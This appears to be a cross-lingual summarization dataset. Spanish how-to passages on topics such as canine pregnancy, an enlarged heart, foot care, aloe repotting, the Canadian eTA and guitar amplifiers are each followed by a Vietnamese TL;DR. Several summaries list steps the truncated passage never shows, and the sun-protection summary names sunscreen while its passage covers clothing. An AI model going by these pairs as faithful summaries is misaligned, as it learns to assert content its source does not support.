Una de las pistas más tempranas que indican que una perra podría estar preñada es si sus tetillas cambian de color. Esto consiste en un cambio en sus tetillas, las cuales lucen más rosadas de lo normal, un poco hinchadas y más protuberantes. Este signo puede presentarse 2 o 3 semanas después de la concepción. La forma del cuerpo de una perra preñada no cambia hasta la segunda mitad de la preñez. Entre la cuarta y la quinta semana, su cintura empieza a ensancharse y su panza engorda. A una perra preñada se le debe aumentar la cantidad de comida en el tercio final de la preñez, pero muchos dueños tienden a aumentar la cantidad de comida de su perra demasiado pronto. Las calorías adicionales hacen que las grasas se acumulen en el abdomen, lo cual suele confundirse con un signo de preñez. Las personas que no tienen conocimiento del tema no pueden diferenciar si el aumento de tamaño del abdomen se debe al espacio ocupado por el feto o a la grasa. En el tercio final (entre las semanas 6 a 9) de la preñez, la panza de la perra se vuelve redonda e hinchada. Sus glándulas mamarias empiezan a desarrollarse y a verse más hinchadas a medida de que se preparan para producir leche. En el tercio final de gestación, es probable que puedas ver los flancos de la perra moviéndose cuando los cachorros se mueven en su útero. Si colocas tu palma recta sobre ella en dónde veas el movimiento, podrías sentir cómo se mueven. No te sientas muy decepcionado si no puedes sentir nada. Los cachorros están muy adentro en su panza y cada uno se encuentra flotando dentro de un saco de líquido, así que no podrás sentir la silueta real de un cachorro.

TL;DR in Vietnamese:

Màu sắc của núm vú thay đổi. Để ý những thay đổi trên cơ thể của chó. Không nên vội vã tăng khẩu phần ăn. Tiếp tục theo dõi những thay đổi trên cơ thể của chó. Kiểm tra và cảm nhận sự chuyển động của các chú cún con trong bụng mẹ.


Una de las principales formas de reducir los efectos de un corazón agrandado y de ayudar a combatir sus causas ocultas es controlar tu alimentación. Ello implica comer alimentos bajos en grasas saturadas, sodio y colesterol. Debes incorporar a tu dieta más frutas, verduras, carnes magras y proteínas saludables.  Además, debes tomar 6 a 8 vasos de 250 ml (8 onzas) de agua al día.  Come más pescado, verduras de hoja verde, frutas y frijoles para ayudar a bajar tus niveles de colesterol, sodio y presión arterial. También puedes pedirle a tu doctor un plan alimenticio que sea más adecuado para tu situación en particular. Añade más actividad física a tu rutina diaria. Dependiendo de qué condición oculta tengas, tu doctor podría recomendarte distintos tipos de ejercicio. Si tu corazón está muy débil como para soportar mucho estrés, él puede sugerirte ejercicios aeróbicos ligeros y ejercicios cardiovasculares suaves como caminar o nadar.  Además, podría recomendarte que hagas más ejercicios cardiovasculares intensos y ejercicios de fuerza (como montar bicicleta o correr) a medida que te vuelves más fuerte o si necesitas perder una cantidad de peso aceptable. Siempre consulta con tu doctor antes de realizar cualquier actividad física, sobre todo cuando tienes una condición cardiaca. Combinar una alimentación adecuada con los ejercicios te ayudará a bajar de peso, lo cual es muy beneficioso para muchas de las causas ocultas de un agrandamiento del corazón. Hay ciertos malos hábitos que debes evitar o dejar por completo cuando te diagnostican con un agrandamiento del corazón. Por ejemplo, debes dejar de fumar de inmediato porque ello sobrecarga tu corazón y vasos sanguíneos. También debes evitar beber alcohol y cafeína en exceso porque provoca un ritmo irregular en los latidos del corazón y sobrecarga el músculo cardiaco. Además, debes tratar de dormir al menos 8 horas por noche, con el fin de ayudar a regular los latidos del corazón y recargar de energías al cuerpo diariamente. Mientras sigues el proceso de...

TL;DR in Vietnamese:

Thay đổi thói quen ăn uống. Tập thể dục. Hạn chế những thói quen xấu. Đi khám bệnh thường xuyên.


Una de las razones por las que los bebés tienen la piel tan suave es que nunca se han expuesto a los efectos nocivos de los rayos UV. Utiliza sombrero, camisas o camisetas de manga larga y pantalones largos si hace mucho sol y vas a permanecer expuesto durante un periodo breve o largo de tiempo.

TL;DR in Vietnamese:

Bôi kem chống nắng mỗi khi bạn ra ngoài!


Una de las soluciones más básicas es dejar los pies en remojo durante el tiempo suficiente para suavizar la piel muerta y luego quitarla con una piedra pómez o un cepillo para pies. Llena una bañera para pies o una cubeta pequeña con el agua suficiente para cubrir la parte superior de los pies. Déjalos reposar durante 20 minutos. Luego, frota la piel muerta para quitarla. Será mejor que lo hagas con suavidad, ya que no querrás dejar la piel en carne viva o te dolerán los pies. Frota un poco cada vez y repite el procedimiento después de unos días. En una bañera pequeña de plástico, vierte el jugo de limón suficiente para cubrir la parte inferior de los pies. Si no tienes la cantidad suficiente, puedes diluirlo con la misma cantidad de agua tibia. Deja los pies en remojo durante 10 minutos, enjuágalos y sécalos.  El jugo sin diluir será un tratamiento más fuerte que si lo diluyes con agua. Asegúrate de no tener ningún corte o llaga abierta en los pies porque el ácido del limón provocará mucho ardor en esas áreas. Llena hasta la mitad una bañera para pies o un recipiente pequeño de plástico con agua tibia o ligeramente caliente. Agrégale ½ taza (120 ml) de sal de Epsom. Sumerge los pies durante 10 minutos. Frótalos suavemente con una piedra pómez para quitar la piel muerta que se ha aflojado. Este tratamiento funcionará mejor si lo repites cada 2 o 3 días para evitar que los pies vuelvan a resecarse. Quizás debas hacerlo varias veces antes de ver una gran diferencia en la piel. La acidez del vinagre blanco y el vinagre de manzana los hace perfectos para quitar la piel muerta. En una bañera para pies o en una cubeta pequeña de plástico, mezcla partes iguales de vinagre y agua tibia. Para que los resultados sean mejores, deja los pies sumergidos durante 45 minutos y luego, frótalos suavemente con una piedra pómez. Otra forma de usar esta solución es sumergir los pies en la mezcla de vinagre con agua durante 5 minutos y luego, sumergirlos en vinagre de manzana puro durante 15 minutos. Este tratamiento es más fuerte...

TL;DR in Vietnamese:

Ngâm chân trong nước ấm và tẩy tế bào da chết. Chuẩn bị nước chanh để ngâm chân. Pha nước ngâm chân với muối Epsom. Tận dụng lợi ích của giấm.


Una de las típicas razones de la muerte de esta planta es el pudrimiento de las raíces. Para determinar si este es el caso, primero debes sacarla de su maceta.  Sostén holgadamente la base de la planta y el fondo de la maceta. Inclina boca abajo la maceta y sigue sosteniendo la planta con la otra mano. Golpea el fondo de la maceta con tu mano o golpéalo contra el saliente de una mesa (u otra superficie dura).  Dependiendo del tamaño de la planta, es posible que necesites la ayuda de otra persona. Una persona debe sostener la base de la planta con ambas manos, mientras que la otra persona inclina la maceta boca abajo y golpea el fondo. También podría serte útil mover la maceta de un lado a otro hasta aflojar la planta. Si aún tienes dificultades para sacar la planta con dos pares de manos, pasa una pala de jardinería o un cuchillo por los costados de la maceta y vuelve a intentar soltarla. Si la planta aún no sale de la maceta, podría ser necesario romperla, pero es el último recurso.  Mientras sacas la planta de aloe vera de su maceta, asegúrate de mantener la planta lo más estable posible. Todo el movimiento debe centrarse en la maceta, no en la planta. Es decir, solo sostén la planta (no la jales). Golpear el fondo de la maceta mantendrá las raíces intactas, y la gravedad empujará la planta hacia abajo. Examina las raíces y determina cuántas aún están sanas. Las raíces húmedas y blandas son características del pudrimiento de las raíces y es necesario sacarlas. En cambio las raíces buenas y que puedes conservar no deben ser negras o húmedas y blandas.  Si ves muchas raíces sanas y solo una sección de raíces muertas o húmedas y blandas, puedes salvar tu planta sin muchos problemas, pero será necesario eliminar las raíces dañadas. Puedes cortar las raíces muertas con un cuchillo afilado, pero asegúrate de sacarlas por completo. Si notas que la mayor parte de la planta tiene raíces dañadas, te tomará un poco más de esfuerzo salvar la planta y tal vez sea imposible salvarla. En este caso, trata de salvar la...

TL;DR in Vietnamese:

Lấy cây lô hội ra khỏi chậu đang trồng. Chăm sóc rễ cây. Chọn chậu lớn hơn gấp rưỡi bộ rễ cây. Dùng đất trồng cây thích hợp với cây xương rồng hoặc cây mọng nước. Trồng lại cây lô hội. Không tưới nước ngay sau khi trồng lại cây vào chậu.


Una dieta saludable es clave. Enfócate en comer alimentos ricos en proteínas y vitaminas. Los alimentos como el pescado, los huevos, los frijoles, la proteína de soya y el yogur ayudarán a tus pestañas a crecer. El salmón es una gran fuente de ácidos grasos omega 3, los cuales ayudan a que crezcan uñas fuertes, cabello brillante y pestañas largas. Muchas mujeres también toman el complejo B, conocido como biotina, para obtener pestañas y cabello más largos y saludables. Puede prescribirte Latisse, el único medicamento aprobado para el crecimiento de pestañas. Los únicos efectos secundarios reportados son irritación de los ojos, enrojecimiento general y comezón. La mayor parte del tiempo, un dermatólogo solo prescribirá Latisse para aquellos cuyas pestañas cortas o inexistentes sean consideradas un peligro para la salud. Recuerda que el propósito principal de las pestañas es mantener a la suciedad y a otros materiales extraños fuera de los ojos. Hay soluciones sin prescripción médica disponibles, y un dermatólogo podría prescribírtelas. Muchas de estas soluciones en realidad funcionan tan bien como el Latisse por una fracción del precio. Estas incluyen productos como RapidLash y Prolash. Este es el método más extremo que se usa para obtener pestañas más largas. Los cirujanos plásticos pueden trasplantar folículos de cabello de tu cuero cabelludo a tus párpados. Si bien esto te dará pestañas más largas, la recuperación es increíblemente dolorosa y puede perjudicar tu visión durante varias semanas. Debido a que el folículo de cabello es diferente al folículo normal de las pestañas, algunos pacientes reportan necesitar un recorte de pestañas después de la operación.

TL;DR in Vietnamese:

Ăn một số loại thực phẩm có thể giúp làm dài lông mi. Tham khảo ý kiến bác sĩ da liễu. Đến bác sĩ phẫu thuật thẩm mỹ.


Una eTA es mucho menos complicada que una visa. Debes solicitarla en línea. Será necesario tener una dirección válida de correo electrónico antes de presentar la solicitud, así como también deberás tener una tarjeta de crédito y tu pasaporte válido. Se te harán algunas preguntas básicas sobre tu viaje (por ejemplo, si viajas por tierra o por vía aérea), así como también tu país de procedencia. Asimismo, es necesario brindar información biográfica e información sobre tu pasaporte. Por último, debes declarar que la información que brindas es verdadera. A partir de 2015, la tarifa para esta solicitud es de apenas 7 dólares canadienses. Esto se paga en línea al presentar la solicitud. A diferencia de la visa, se te debería responder con bastante rapidez. De hecho, es posible que recibas la respuesta apenas en alrededor 5 minutos después de presentar la solicitud.

TL;DR in Vietnamese:

Thị thực điện tử khác với thị thực thăm viếng thông thường. Chuẩn bị hồ sơ. Điền đơn. Đóng lệ phí và nộp đơn. Chờ xét duyệt.


Una expareja obsesionada podría tratar de iniciar una comunicación contigo, como llamándote o enviándote mensajes de texto, enviándote regalos, etc. Si le correspondes, incluso para decirle “Déjame solo”, tu ex podría interpretarlo como una señal de que todavía te interesa. La mejor técnica para lidiar con una expareja obsesionada es evitar todo tipo de comunicación.  Es mejor que no contestes sus llamadas, mensajes, correos electrónicos, etc. Solo ignóralos o bórralos. Si tu ex te envía mensajes u otros artículos, no los aceptes o regrésaselos. Solo deshazte de ellos. Las redes sociales pueden hacer que te sea difícil lidiar con una expareja obsesionada, pues crean una gran red de contactos. Tu ex podría tratar de comunicarse contigo mediante tu perfil en las redes sociales o por cualquier amigo en común. Lo mejor que puedes hacer es eliminar a tu ex de tus listas en las redes sociales, puesto que no querrás que se comunique contigo ni ver su perfil en las redes sociales. Evitar el contacto físico puede ser una manera eficaz de lidiar con una expareja obsesionada. Si no tiene la oportunidad de verte, con suerte su obsesión llegará a su fin. Tal vez esto signifique que tengas que cambiar tus patrones de comportamiento o los lugares que frecuentas. Por ejemplo, si crees que te encontrarás con tu ex en una cafetería específica que frecuentas, quizás quieras encontrar una diferente a la cual acudir. Esto puede ser frustrante, pero el lado bueno es que conseguirás explorar nuevos lugares y tener un nuevo comienzo.

TL;DR in Vietnamese:

Đừng liên lạc với người yêu cũ. Xóa tên người yêu cũ khỏi danh bạ và danh sách bạn bè trên các mạng xã hội. Tránh xa người yêu cũ.


Una forma de demostrarle a tu novio que lo amas es haciendo cosas pequeñas aleatorias por él. Por ejemplo, podrías traerle una taza de café o de su bebida favorita todas las mañanas, comprarle su bocadillo favorito o hacerle algo agradable cuando no tenga un buen día. Trata de idear formas de demostrarle que le prestas atención o que te importa, como cocinándole su comida favorita cuando se sienta desanimado, usar un atuendo tuyo que sea su favorito o sorprenderlo llevándolo a su lugar favorito un sábado. Para demostrarle a tu novio que lo amas, una de las mejores formas es ser cariñosa. Las parejas se demuestran mutuamente sus sentimientos de una forma no verbal mediante los besos y los abrazos, entre otras cosas. También pueden tomarse de la mano, acurrucarse juntos o tocarse al hablar. Por supuesto, es perfectamente normal que, cuando hayan estado juntos durante varios años, las cosas se enfríen un poco. No debes dejar de besarlo ni abrazarlo antes de irte a casa después de que tengan una cita ni de acurrucarte junto a él en el sofá mientras vean televisión, ya que, si de pronto dejas de ser cariñosa, tu novio podría pensar que ya no tienes interés en él. Si bien deberías mostrarle afecto a tu novio y comprarle cosas tiernas en ocasiones especiales, tampoco debes actuar de una forma demasiado acaramelada ni comprarle cosas porque sí. No tienes que asfixiarlo para demostrarle que es el único a quien amas. Asimismo, si exageras con las muestras de afecto, tu novio podría pensar que hay algo por lo que te sientas culpable y que quieres compensar por ello. . Si tienes un novio que sea como la mayoría de los hombres modernos, él apreciará tener una pareja inteligente y confiada. Deja salir tu confianza para recordarle las razones por las que se haya enamorado de ti en un principio y demostrar que tienes una autoestima que no tienen muchas personas que son infieles a sus parejas. Defiéndete (con calma) cuando tu novio te lastime para expresar tu confianza. Dejarte pisotear no es un componente de la lealtad y el...

TL;DR in Vietnamese:

Thực hiện những việc nhỏ nhặt nhưng ý nghĩa vì anh ấy. Thân mật với bạn trai. Giữ sự thân mật ở mức vừa phải. Tự tin Giữ lời hứa. Tin tưởng anh ấy. Cho anh ấy thấy tầm quan trọng của mình đối với bạn. Cho người ấy biết bạn đang nghĩ về họ. Ăn mặc đẹp vì anh ấy. Quan tâm đến sở thích của anh ấy.


Una forma de motivar a tu ser querido que sufre de un TOC es ayudarlo a identificar las ventajas y desventajas del cambio. Si continúa teniendo problemas para encontrar la motivación para someterse a un tratamiento, puedes tomar algunas de las siguientes medidas:  Lleva a casa material de lectura. Convence a la persona de que el tratamiento puede ayudar. Habla sobre las formas en las que has admitido el comportamiento relacionado con el TOC. Sugiere un grupo de apoyo. Tu apoyo es uno de los aspectos más importantes de ayudar a una persona que sufre un TOC, pues aliviará parte del peso de sus hombros y le ayudará a encontrar el mejor tratamiento posible. Enfócate en discutir las opciones de tratamiento con tu ser querido con la finalidad de plantearlo como un tema de discusión.   Asegúrate de informarle a tu ser querido que el TOC es muy tratable, y que sus síntomas y angustia pueden disminuir en gran medida. Puedes preguntarle a tu médico general más información acerca del tratamiento para el TOC así como una lista de los especialistas en la salud mental ubicados en tu localidad. No obligues a nada a la persona, y en su lugar discute los diferentes métodos terapéuticos y lo que podría ser más adecuado para su caso en específico. Estos métodos pueden incluir medicamentos, terapia cognitivo-conductual, además de apoyo y educación familiar. Hay varios medicamentos que han demostrado tener buenos resultados para tratar el TOC y que controlar algunos de los síntomas, aunque no son curas. La terapia cognitivo-conductual (TCC), la terapia de exposición y la prevención de respuesta son los tratamientos de elección, ya sea con o sin medicamentos. En el caso del TOC, la prevención de exposición y respuesta ayudará a controlar los síntomas. Esta forma de terapia ayuda gradualmente a la persona afectada a abstenerse de realizar sus rituales. Otro tratamiento que puede ser útil para toda la familia es la terapia familiar, la cual podría servir como un lugar seguro para hablar de las emociones y brindar apoyo. Para...

TL;DR in Vietnamese:

Khuyến khích người đó hướng đến việc điều trị. Bàn về các lựa chọn trong điều trị để mở đường cho việc điều trị chuyên khoa. Đi cùng người thân đến bác sĩ tâm thần hoặc chuyên gia tâm lý để giúp việc điều trị thêm hiệu quả. Khuyến khích các thành viên trong gia đình cùng tham gia vào việc điều trị. Giúp người thân uống thuốc theo chỉ định. Tiếp tục cuộc sống của bạn nếu người đó từ chối điều trị.


Una forma fácil de detectar una falsificación es cuando las zapatillas Converse vienen en una caja que obviamente no es de Converse. Las zapatillas nuevas también vienen con papel de seda en el empaque. A veces, incluso tienen relleno de papel dentro de los zapatos. Si no ves ninguna de las "señales" típicas de las zapatillas nuevas, es probable que debas sospechar. El verdadero parche tiene una estrella color azul marino, mientras que uno falso puede tener un tono de azul diferente. El original también estará estampado solo con una estrella y la firma de Taylor. Desconfía de emblemas que no estén claros. Muchos emblemas falsos se ven borrosos y tienen otros elementos de diseño o palabras.  Las zapatillas Converse All Star también vienen en una amplia variedad de estilos y colores. El logo no siempre será azul y a veces el parche está hecho de goma. Examina la estrella en sí y asegúrate de que sea una impresión limpia. Las zapatillas fabricadas antes de 2008 tendrán el símbolo ® debajo del logotipo de All Star. Si ves este símbolo en zapatillas fabricadas después de 2008, ten cuidado. Revisa también el logotipo cosido. Aunque puede parecer auténtico, si detectas un logotipo irregular o poco claro, es probable que sea falso. El logotipo de All Star estará impreso muy claramente en la parte superior de la lengüeta. Si es falso, la impresión será borrosa o el hilo estará suelto alrededor de la impresión. La lengüeta tradicional está hecha de una lona delgada. Presta atención a las puntadas alrededor del borde de la lengüeta. Como regla general, si las puntadas están sueltas o disparejas, es una zapatilla falsa. En las zapatillas Converse reales, la plantilla tendrá la palabra Converse impresa de forma nítida y simple. Ten cuidado si compras un par usado. La insignia de un par usado estará más descolorida que la de un par nuevo pero esto no necesariamente significa que sea falso. Esta está pintada en el borde superior de la suela. Debe ser lisa y perfecta. Si está dispareja o no se ve nítida ni uniforme, es una...

TL;DR in Vietnamese:

Hộp đựng giày. Logo Chuck Taylor. Nhãn hiệu đăng ký. Lưỡi giày. Lót giày. Đường sọc. Sở hữu một đôi giày Converse All Stars.


Una forma simple, directa y bastante duradera de eliminar la humedad no deseada en las manos es simplemente absorberla. Puedes hacer esto de muchas formas, incluyendo aplicar polvo absorbente en tus manos. Prueba verter en tus manos una cantidad de talco para bebés del tamaño de un dedal y esparcirla suave y uniformemente. Debes notar inmediatamente que tus manos se sienten más frías y secas. A continuación encontrarás solo unos cuantos polvos más cuyo uso es posible que quieras considerar:  Tiza Talco (toma nota de que el talco puede ser venenoso si se inhala en cantidades significativas)  Maicena (a veces se usa específicamente para este propósito en algunos países de Latinoamérica) Bicarbonato de sodio Muchas personas se aplican antitranspirante debajo de los brazos todos los días para controlar el sudor en las axilas. Aunque no lo creas, puedes obtener el mismo efecto esparciendo un poco de antitranspirante en las palmas de tus manos. Sécate las manos con una toalla antes de aplicar el antitranspirante de forma que pueda hacer correctamente su trabajo de tapar los poros sudoríparos.  Asegúrate de usar un antitranspirante, no solo un desodorante. Aunque ambos productos a menudo se combinan en uno solo, no son lo mismo. El primero combate la sudoración excesiva, mientras que el segundo simplemente controla el olor del sudor. Para un efecto más fuerte, usa un antitranspirante con compuestos de aluminio como sus ingredientes activos. El aluminio es uno de los químicos antitranspirantes más fuertes y efectivos disponibles. Para situaciones serias, es posible que incluso quieras investigar antitranspirantes con prescripción médica (como Drysol), los cuales tienen concentraciones más altas de aluminio. Para casos leves de manos sudorosas, a veces simplemente llevar contigo algo que puedas usar para absorber la humedad a lo largo del día es suficiente para combatir la sudoración. Los pañuelos de tela son toallas de mano reusables muy buenas, mientras que el papel toalla y las toallitas con alcohol desechables...

TL;DR in Vietnamese:

Dùng phấn em bé hoặc một loại bột thấm hút khác. Dùng sản phẩm ngăn tiết mồ hôi. Đem theo khăn tay hoặc khăn giấy ướt chứa cồn. Rửa tay thường xuyên hơn.


Una gran manera natural de darle frescura al triturador de basura y hacer que la cocina huela bien es triturar un puñado de cáscaras de cítricos. Cualquier fruta cítrica sirve, ya sea naranja, limón, pomelo, lima entre otras. El ácido cítrico en las cáscaras limpiará las cuchillas y eliminará los malos olores. Luego, agrega un poco de aceite de especias, de romero o de lavanda para conseguir un aroma aún más fresco. El bicarbonato de sodio y el vinagre son una gran combinación que elimina los malos olores. Añade unos 120 gramos (1/2 taza) de bicarbonato de sodio al desagüe y vierte poco a poco unos 240 ml (1 taza) de vinagre blanco por encima. La mezcla crepitará y burbujeará. Deja reposar de 5 a 10 minutos, luego enjuaga con agua muy caliente o hirviendo, con el triturador de basura encendido. La lejía es muy efectiva para matar los gérmenes y refrescar rápidamente el desagüe, sin embargo, no es recomendable usar demasiada, ya que también puede solidificar la grasa en el triturador, lo que dificultará la eliminación de los gérmenes.  Diluye una cucharada de lejía líquida en unos 4 litros (un galón) de agua y viértela lentamente en el triturador de basura. Deja que la lejía repose durante uno o dos minutos, luego abre el grifo de agua caliente y deja correr el agua durante varios minutos para eliminar la lejía. El bórax es un producto de limpieza seguro y natural que limpia eficazmente y minimiza los malos olores del triturador. Basta con poner 3 o 4 cucharadas de bórax en el triturador de basura y dejarlo reposar durante una hora. Luego enjuaga con agua muy caliente o hirviendo.

TL;DR in Vietnamese:

Dùng vỏ quả họ cam quýt. Sử dụng muối nở và giấm. Rửa máy hủy rác bằng một ít thuốc tẩy. Sử dụng hàn the.


Una guitarra eléctrica no sirve de mucho sin un amplificador, el cual puede ser uno de los costos ocultos de la compra de una guitarra eléctrica. Tocar una costosa Gibson a través de un pobre amplificador de práctica no tiene sentido. Guarda lo suficiente de tu presupuesto para comprar un amplificador de buena calidad para hacer que esa guitarra que escogiste con tanto cuidado también suene excelente.  Considera tus necesidades y compra un amplificador con suficiente salida para tus propósitos. También revisa las características personalizables de cada amplificador, incluidos la reverberación, el trémolo y otros efectos con los cuales puede ser divertido experimentar. Los amplificadores de estado sólido son los amplificadores más baratos, basado en modelos de circuitos semiconductores. Son una buena compra para los principiantes. Los guitarristas más experimentados por lo general prefieren amplificadores de tubo de más escala, los cuales se caracterizan por tener válvulas de vacío que necesitan calentarse antes de pasar corriente a través de ellos. Los amplificadores de combo tienen una "cabeza" amplificadora en la parte superior de un altoparlante más grande. El estante Marshall es un amplificador de combo icónico. Estos amplificadores se usan por lo general para presentaciones y para producir grandes cantidades de sonido. A menos que planees trabajar en esto en un futuro cercano, comprar un amplificador de combo es algo excesivo. Sería una pena llegar a casa con tu guitarra de la tienda y tu amplificador y no tener nada con qué conectarlos. Por lo general, los cables de guitarra cuestan de cinco a diez dólares cada uno y presentan conectores Jack de cuarto de pulgada en ambos lados. Asegúrate de adquirir el tipo correcto de cable en la tienda. Cualquier tienda que sea buena se asegurará de que salgas con todo lo que necesitas, pero siempre es bueno asegurarse. Púas, correa de guitarra y un afinador electrónico son todos componentes esenciales de la guitarra eléctrica. Es difícil afinar tu guitarra eléctrica...

TL;DR in Vietnamese:

Mua một chiếc âm li. Mua một bộ dây cáp dày 0.6 cm. Mua bất cứ dụng cụ nào mà bạn cần để chơi. Đừng vội mua bàn đạp.